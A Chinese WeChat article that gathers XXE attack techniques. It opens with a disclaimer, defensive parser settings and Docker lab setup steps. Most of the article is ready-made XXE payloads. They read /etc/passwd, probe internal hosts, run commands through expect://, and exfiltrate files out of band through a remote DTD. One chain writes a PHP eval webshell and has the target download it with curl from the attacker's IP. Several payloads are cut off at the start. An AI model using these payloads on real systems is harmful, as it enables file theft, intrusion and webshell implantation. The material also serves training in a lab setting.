点击上方蓝字关注我们
郑重说明
数字人才创研院秉承探究学习与交流知识的原则,所有发布的技术文章仅供参考,目的在于助力你获得更多知识;与此同时,让我们共同遵守《网络安全法》,未经授权请勿利用文章中的技术内容对任何计算机系统进行非授权操作,否则对他人或单位而造成的直接或间接后果或损失,均由使用者本人负责。
公众号发表的文章如有涉及您的侵权,烦请私信联系告知,我们会立即删除并对您表达最诚挚的歉意!感谢您的理解!
Purpose of recommendation
知识介绍
#PHP:
libxml_disable_entity_loader(true);
#Java:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);
.setFeature("http://xml.org/sax/features/external-general-entities",false);
.setFeature("http://xml.org/sax/features/external-parameter-entities",false);
#Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False)
01
★★搭建靶场 ★★
第一步:准备一台Docker环境虚拟机,然后执行快速拉取镜像的命令。
docker pull registry.cn-hangzhou.aliyuncs.com/cnhongke/xxe***:latest
## 获取完整命令,敬请关注公众号哦!
第二步:执行如下语句,创建最新版容器。
docker run --restart=always -d -p 8080:80 registry.cn-hangzhou.aliyuncs.com/cnhongke/xxe***
#映射端口需要结合实际情况自行设定
docker ps -a
第三步:访问映射的IP或域名,如果显示如下图,即表明安装成功。
第四步:关注下方公众号并回复:XXE,获得下拉镜像的地址。
到此,我们完成了XXE靶场的部署;接下来,Getshell的利用正式开始。
02
★★ 利用思路 ★★
0X01 直接读取系统文件
使用如下类似Payload进行读取系统敏感文件
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<x>&xxe;</x>
0X02 内网探针或攻击内网应用(触发漏洞地址)
使用如下类似Payload获取内网系统敏感文件
<!ELEMENT cnc ANY >
<!ENTITY xxe SYSTEM "http://IP/index.txt" >
]>
<x>&xxe;</x>
#IP为内网地址或域名
0X03 借助expect扩展执行系统命令
(1)使用如下类似Payload获取系统敏感文件
<!ENTITY xxe SYSTEM "expect://id" >
]>
<x>&xxe;</x>
(2)部署Web服务器,达到Getshell的方法。
首先,准备好poc.php,并写入一句话马,参考如下:
echo('<?php eval($_POST[‘2023’]);?>');
然后,利用XXE执行下载命令,参考如下:
<!ENTITY xxe SYSTEM "expect://curl$IFS-O$IFS'攻击机ip/poc.php'">
]>
<config><title>&xxe;</title></config
最后,借助蚁剑连接即可。
0X04 引入外部实体 dtd命令
使用如下类似Payload获取系统敏感文件
<!ENTITY % file SYSTEM "http://127.0.0.1:8080/xml.dtd">
%file;
]>
<x>&xxe;</x>
xml.dtd:
<!ENTITY send SYSTEM "file:///etc/passwd">
0X05 无回显–读取文件
直接使用如下类似Payload获取敏感信息
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % dtd SYSTEM "http://远程:8081/test.dtd">
%dtd;
%xxe;
]>
0X06 协议-读文件(绕过)
直接使用如下类似Payload获取敏感信息
<x>&xxe;</x>
如果喜欢,敬请关注哦,后期更精彩!
往 期 推 荐 ·值 得 细 看
2023全网最优渗透研学靶场汇总(上)
2023-02-23
PHPMyadmin的Getshell方法汇总
2023-07-01
知识分享|Redis未授权访问漏洞汇集
2023-06-26
ThinkPHP|送给渗透测试专家们的“福利”
2023-06-13
END
原文始发于微信公众号(数字人才创研院):XXE漏洞综合利用方法汇总
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论